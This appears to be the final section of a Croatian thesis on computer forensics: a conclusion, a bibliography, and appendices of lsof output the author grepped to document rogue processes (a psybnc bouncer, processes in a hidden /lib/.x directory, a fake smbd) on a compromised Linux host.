Računalni sustavi sadrže velike količine podataka koji su pohranjeni na nekom od računalnih spremnika koje koriste. Forenzičkim postupcima te podatke je potrebno izdvojiti i sačuvati od uništenja na odgovarajući način. Nakon što su podaci pribavljeni, potrebno je iste analizirati i izdvojiti relevantne informacije. Interpretacijom dobivenih informacija donose se zaključci kojima se oblikuje rješenje nekog slučaja. Upravo ove činjenice potvrđuju da računalna forenzika predstavlja jedno vrlo zahtjevno područje u kojem vrijeme i čovjek imaju ključnu ulogu. Analiza velikih količina podataka je vremenski zahtjeva proces, dok čovjek ima ključnu ulogu u interpretaciji podataka i donošenju zaključaka. Dobro poznavanje sklopovske i programske opreme predstavlja preduvjet za prakticiranje forenzičke znanosti. Alati otvorenog koda pokazali su se kao izvrstan temelj za učenje i razumijevanje metoda i procedura koje se primjenjuju.

U praktičnom dijelu ovog rada načinjena je forenzička analiza slučaja kompromitiranog GNU/Linux operacijskog sustava, te analiza dnevnika sigurnosne stijene Honeypot sustava. Za analizu dnevnika sigurnosne stijene korišten je forenzički alat PyFlag, te vlastita aplikacija koja omogućava izdvajanje definiranih polja podataka za svaki od zapisa u dnevniku. Izdvojeni podaci pohranjeni su u bazu podataka odgovarajućim SQL naredbama. Analiza kompromitiranog GNU/Linux operacijskog sustava, ostvarena je primjenom osnovnih metoda i procedura forenzičke analize uz korištenje standardnih GNU/Linux alata, te forenzičkog alata Autopsy.

Nastavak rada u ovom području trebalo bi usmjeriti na razvoj naprednijih metoda i procedura [44] koje bi omogućile bolju organizaciju prikupljenih podataka kao i njihovo prikupljanje. Kao primjer može se izdvojiti primjena SOM (Self Organizing Maps) neuronskih mreža na prikupljene podatke [45] [46] ili byteprints metode za prikupljanje podataka [47].

 7.        Literatura


[1]        Farmer, Venema, " Forensic Discovery": The spirit of forensic discovery, Addison-Wesley, 2003

[2]        K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": , McGraw-Hill,

[3]        J. Philip Craiger, " Handbook of information security": Computer forensics procedures and methods, Wiley, 2006

[4]        K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Evidence Handling, McGraw-Hill, 2003

[5]        RFC3227, dostupno na Internet adresi: http://www.ietf.org/rfc/rfc3227.txt 

[6]        K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Investigating Windows Systems, McGraw-Hill, 2003

[7]        Farmer, Venema, " Forensic Discovery": Appendix B, Addison-Wesley, 2003

[8]        Netcat HomePage, dostupno na Internet adresi: http://netcat.sourceforge.net 

[9]        The Helix Live CD Page, dostupno na Internet adresi: http://www.e-fense.com/helix 

[10]    K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Forensic Duplication, McGraw-Hill, 2003

[11]    Linux Manual Pages, dostupno na Internet adresi: http://man.he.net/ 

[12]    K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Collecting Network Based Evidence, McGraw-Hill, 2003

[13]    Snort Homepage, dostupno na Internet adresi: http://www.snort.org 

[14]    K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Data Analysis Techniques, McGraw-Hill, 2003

[15]    Brian Carrier, " File System Forensic Analysis": , Addison-Wesley, 2005

[16]    Brian Carrier, " File System Forensic Analysis": Volume Analysis, Addison-Wesley, 2005

[17]    Brian Carrier, " File System Forensic Analysis": File System Analysis, Addison-Wesley, 2005

[18]    K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Data Analysis Techniques, McGraw-Hill, 2003

[19]    NSRL project, dostupno na Internet adresi: http://www.nsrl.nist.gov/ 

[20]    ELF file format, dostupno na Internet adresi: http://www.cs.ucdavis.edu/~haungs/paper/node10.html 

[21]    Bouncer, dostupno na Internet adresi: http://en.wikipedia.org/wiki/Bouncer_(networking) 

[22]    Sandbox (computer security), dostupno na Internet adresi: http://en.wikipedia.org/wiki/Sandbox_(computer_security) 

[23]    K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Writing Computer Forensic Reports, McGraw-Hill, 2003

[24]    PyFlag linux conference, dostupno na Internet adresi: http://pyflag.sourceforge.net/Presentations/PyFlag_Auscert2007 

[25]    Pyflag Homepage, dostupno na Internet adresi: http://pyflag.sourceforge.net/ 

[26]    Pyflag development documentation, dostupno na Internet adresi: http://pyflag.sourceforge.net/Documentation/developer/index.html 

[27]    Introduction to TSK, dostupno na Internet adresi: http://www.markosworld.com/forensics/cmarko-tskintro.pdf 

[28]    The Sleuth kit homepage, dostupno na Internet adresi: http://www.sleuthkit.org 

[29]    Hidden disk areas HPA and DCO, dostupno na Internet adresi: http://www.utica.edu/academic/institutes/ecii/publications/articles/EFE36584-D13F-2962-67BEB146864A2671.pdf 

[30]    Brian Carrier, " File System Forensic Analysis": File System Analysis, Addison-Wesley, 2005

[31]    Brian Carrier, " File System Forensic Analysis": Ext2 and Ext3 Concepts and Analysis, Addison-Wesley, 2005

[32]    Inode strucutre, dostupno na Internet adresi: http://en.wikipedia.org/wiki/Inode 

[33]    Brian Carrier, " File System Forensic Analysis": Ext2 and Ext3 data structures, Addison-Wesley, 2005

[34]    Endianness, dostupno na Internet adresi: http://en.wikipedia.org/wiki/Endianness 

[35]    Sniffers: What They Are and How to Protect Yourself, dostupno na Internet adresi: http://www.securityfocus.com/infocus/1549 

[36]    K. Mandia, C. Prosise, M. Pepe, " Incident Response and Computer Forensics": Investigating Unix Systems, McGraw-Hill, 2006

[37]    CERT Slapper worm, dostupno na Internet adresi: http://www.cert.org/advisories/CA-2002-27.html 

[38]    Analysis of the Slapper Worm Exploit, dostupno na Internet adresi: http://www.symantec.com/avcenter/reference/analysis.slapper.worm.pdf 

[39]    Sans Institute ICMP Attacks ilustrated: Network Probes explained, : http://netsecurity.about.com/gi/dynamic/offsite.htm?zi=1/XJ&sdn=netsecurity&cdn=compute&tm=182&f=00&su=p284.8.150.ip_&tt=2&bt=0&bts=0&zu=http%3A//www.linuxjournal.com/article.php%3Fsid%3D4234 

[40]    Attacking DNS Protocol, dostupno na Internet adresi: http://www.net-security.org/dl/articles/Attacking_the_DNS_Protocol.pdf 

[41]    Symnatec Security Response, dostupno na Internet adresi: http://www.symantec.com/security_response/index.jsp 

[42]    Nmap home page, dostupno na Internet adresi: http://insecure.org/nmap/ 

[43]    Prijava incidenta na stranicama CERT organizacije, dostupno na Internet adresi: https://www.cert.hr/prijava.php?lang=hr 

[44]    Algorithms to enable forensic analysis of computer systems, dostupno na Internet adresi: http://www.utdallas.edu/~sxs018540/index/docs/Sitaraman-Dissertation.pdf 

[45]    Exploring Data Generated by Computer Forensic Tools with SOM, dostupno na Internet adresi: http://www.seralliance.com/enews/vol2no1/pdfs/computer_forensic_tools_jan05.pdf 

[46]    Self Organizing Maps (SOM), dostupno na Internet adresi: http://davis.wpi.edu/~matt/courses/soms/#Introduction 

[47]    Byteprints: A Tool to Gather Digital Evidence, dostupno na Internet adresi: http://www.utdallas.edu/~sxs018540/index/docs/byteprints_itcc05.pdf 


 

 8.        Prilog A: Rezultat pretraživanja datoteke process.lsof za proces 3137/smbd

fs# cat process.lsof | grep smbd | grep 3137
smbd       3137        0  cwd    DIR        8,1     4096          2 /
smbd       3137        0  rtd    DIR        8,1     4096          2 /
smbd       3137        0  txt    REG        8,1   672527      92030 /usr/bin/smbd -D smbd       3137        0  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so smbd       3137        0  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so
smbd       3137        0  mem    REG        8,1    85115      44667 /lib/libcrypt-2.2.4.so
smbd       3137        0  mem    REG        8,1    47872      44709 /lib/libutil-2.2.4.so
smbd       3137        0  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so
smbd       3137        0    0u   CHR        1,3               31876 /dev/null
smbd       3137        0    1u   CHR        1,3               31876 /dev/null
smbd       3137        0    2u   CHR        1,3               31876 /dev/null
smbd       3137        0    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)
smbd       3137        0    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)
smbd       3137        0    5u  sock        0,0                3626 can't identify protocol
smbd       3137        0    6u  IPv4       4571                 TCP *:2003 (LISTEN)
smbd       3137        0   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)
smbd       3137        0   16u  IPv4        976                 TCP *:443 (LISTEN)
smbd       3137        0   17u  IPv4        977                 TCP *:80 (LISTEN)
smbd       3137        0   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)
smbd       3137        0   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)
smbd       3137        0   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
smbd       3137        0   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
smbd       3137        0   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)
smbd       3137        0   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

 

 9.        Prilog B: Rezultat pretraživanja datoteke process.lsof za proces 15119/initd

fs# cat proces.lsof | grep initd
initd     15119        0  cwd    DIR        8,1     4096      46913 /etc/opt/psybnc
initd     15119        0  rtd    DIR        8,1     4096          2 /
initd     15119        0  txt    REG        8,1   214636      47418 /etc/opt/psybnc/initd
initd     15119        0  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so initd     15119        0  mem    REG        8,1   622317      44652 /lib/i686/libm-2.2.4.so
initd     15119        0  mem    REG        8,1   261196      44703 /lib/libresolv-2.2.4.so
initd     15119        0  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so
initd     15119        0  mem    REG        8,1   261460      44690 /lib/libnss_files-2.2.4.so
initd     15119        0  mem    REG        8,1   355236      44698 /lib/libnss_nisplus-2.2.4.so
initd     15119        0  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so
initd     15119        0  mem    REG        8,1    72296      44687 /lib/libnss_dns-2.2.4.so
initd     15119        0    0u   CHR      136,0                   2 /dev/pts/0
initd     15119        0    1u   CHR      136,0                   2 /dev/pts/0
initd     15119        0    2u   CHR      136,0                   2 /dev/pts/0
initd     15119        0    3u  IPv4      15617                 TCP *:65336 (LISTEN) initd     15119        0    4w   REG        8,1     3407      92097 /etc/opt/psybnc/log/psybnc.log
initd     15119        0    5u  IPv4      15619                 TCP *:65436 (LISTEN) initd     15119        0    6u  IPv4      16157                 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
initd     15119        0    7w   REG        8,1        6      47416 /etc/opt/psybnc/psybnc.pid
initd     15119        0    8w   REG        8,1        0      92098 /etc/opt/psybnc/log/USER1.TRL
initd     15119        0    9u  sock        0,0               17506 can't identify protocol
initd     15119        0   10w   REG        8,1        0      92099 /etc/opt/psybnc/log/USER2.TRL
initd     15119        0   11u  IPv4      17512                 UDP 192.168.1.79:1029->192.168.1.1:53

 

 10.                         Prilog C: Rezultat pretraživanja datoteke process.lsof za proces 25241,25239/xopen

fs# cat process.lsof | grep xopen
xopen     25239        0  cwd    DIR        8,1     4096      18410 /lib/.x/s
xopen     25239        0  rtd    DIR        8,1     4096          2 /
xopen     25239        0  txt    REG        8,1   217667      18413 /lib/.x/s/xopen
xopen     25239        0    0u   CHR        3,3               35327 /dev/ttyp3
xopen     25239        0    1w   REG        8,1     2442      47152 /lib/.x/install.log
xopen     25239        0    2u   CHR        3,3               35327 /dev/ttyp3
xopen     25239        0    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)
xopen     25239        0    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen     25239        0    5u  sock        0,0                3626 can't identify protocol
xopen     25239        0   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)
xopen     25239        0   16u  IPv4        976                 TCP *:443 (LISTEN)
xopen     25239        0   17u  IPv4        977                 TCP *:80 (LISTEN)
xopen     25239        0   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)
xopen     25239        0   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen     25239        0   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
xopen     25239        0   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
xopen     25239        0   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)
xopen     25239        0   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen     25241        0  cwd    DIR        8,1     4096          2 /
xopen     25241        0  rtd    DIR        8,1     4096          2 /
xopen     25241        0  txt    REG        8,1   217667      18413 /lib/.x/s/xopen
xopen     25241        0  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so
xopen     25241        0    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)
xopen     25241        0    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen     25241        0    5u  sock        0,0                3626 can't identify protocol
xopen     25241        0    8u  IPv4      12302                 TCP *:3128 (LISTEN)
xopen     25241        0   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)
xopen     25241        0   16u  IPv4        976                 TCP *:443 (LISTEN)
xopen     25241        0   17u  IPv4        977                 TCP *:80 (LISTEN)
xopen     25241        0   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)
xopen     25241        0   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen     25241        0   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
xopen     25241        0   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
xopen     25241        0   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)
xopen     25241        0   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted).

 

 11.                         Prilog D: Rezultat pretraživanja datoteke process.lsof za proces 25247/lsn

fs# cat process.lsof | grep lsn
lsn       25247        0  cwd    DIR        8,1     4096      18410 /lib/.x/s
lsn       25247        0  rtd    DIR        8,1     4096          2 /
lsn       25247        0  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so lsn       25247        0  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so
lsn       25247        0  mem    REG        8,1   261460      44690 /lib/libnss_files-2.2.4.so
lsn       25247        0  mem    REG        8,1   355236      44698 /lib/libnss_nisplus-2.2.4.so
lsn       25247        0  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so
lsn       25247        0  mem    REG        8,1    72296      44687 /lib/libnss_dns-2.2.4.so
lsn       25247        0  mem    REG        8,1   261196      44703 /lib/libresolv-2.2.4.so
lsn       25247        0    0u  sock        0,0                9975 can't identify protocol
lsn       25247        0    1w   REG        8,1     1224      18417 /lib/.x/s/mfs
lsn       25247        0    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)
lsn       25247        0    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)
lsn       25247        0    5u  sock        0,0                3626 can't identify protocol
lsn       25247        0   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)
lsn       25247        0   16u  IPv4        976                 TCP *:443 (LISTEN)
lsn       25247        0   17u  IPv4        977                 TCP *:80 (LISTEN)
lsn       25247        0   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)
lsn       25247        0   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)
lsn       25247        0   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
lsn       25247        0   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
lsn       25247        0   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)
lsn       25247        0   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)

 

 12.                         Prilog E: Rezultat pretraživanja datoteke process.lsof za proces 3153/swapd

fs# cat process lsof | grep "(swapd)"
(swapd)    3153        0  cwd    DIR        8,1     8192      58884 /usr/bin
(swapd)    3153        0  rtd    DIR        8,1     4096          2 /
(swapd)    3153        0  txt    REG        8,1    18439      92033 /usr/bin/(swapd) (swapd)    3153        0  mem    REG        8,1   485171      44656 /lib/ld-2.2.4.so (swapd)    3153        0  mem    REG        8,1  5772268      44650 /lib/i686/libc-2.2.4.so
(swapd)    3153        0  mem    REG        8,1   261460      44690 /lib/libnss_files-2.2.4.so
(swapd)    3153        0  mem    REG        8,1   355236      44698 /lib/libnss_nisplus-2.2.4.so
(swapd)    3153        0  mem    REG        8,1   436784      44674 /lib/libnsl-2.2.4.so
(swapd)    3153        0  mem    REG        8,1    72296      44687 /lib/libnss_dns-2.2.4.so
(swapd)    3153        0  mem    REG        8,1   261196      44703 /lib/libresolv-2.2.4.so
(swapd)    3153        0    0r   CHR        1,3               31876 /dev/null
(swapd)    3153        0    1u   CHR        3,0               35324 /dev/ttyp0
(swapd)    3153        0    2u   CHR        3,0               35324 /dev/ttyp0
(swapd)    3153        0    3u   REG        8,1        0       3187 /var/run/httpd.mm.800.sem (deleted)
(swapd)    3153        0    4u   REG        8,1        0      45309 /var/log/httpd/ssl_scache.sem (deleted)
(swapd)    3153        0    5u  sock        0,0                3626 can't identify protocol
(swapd)    3153        0    6u  sock        0,0                4602 can't identify protocol
(swapd)    3153        0    7w   REG        8,1       47      77075 /usr/lib/libice.log
(swapd)    3153        0   15w   REG        8,1 23335716      46935 /var/log/httpd/error_log (deleted)
(swapd)    3153        0   16u  IPv4        976                 TCP *:443 (LISTEN)
(swapd)    3153        0   17u  IPv4        977                 TCP *:80 (LISTEN)
(swapd)    3153        0   18w   REG        8,1 22795530      46914 /var/log/httpd/ssl_engine_log (deleted)
(swapd)    3153        0   19w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)
(swapd)    3153        0   20w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
(swapd)    3153        0   21w   REG        8,1      253      46934 /var/log/httpd/access_log (deleted)
(swapd)    3153        0   22w   REG        8,1        0      46916 /var/log/httpd/ssl_request_log (deleted)
(swapd)    3153        0   23w   REG        8,1        0      45308 /var/log/httpd/ssl_mutex.800 (deleted)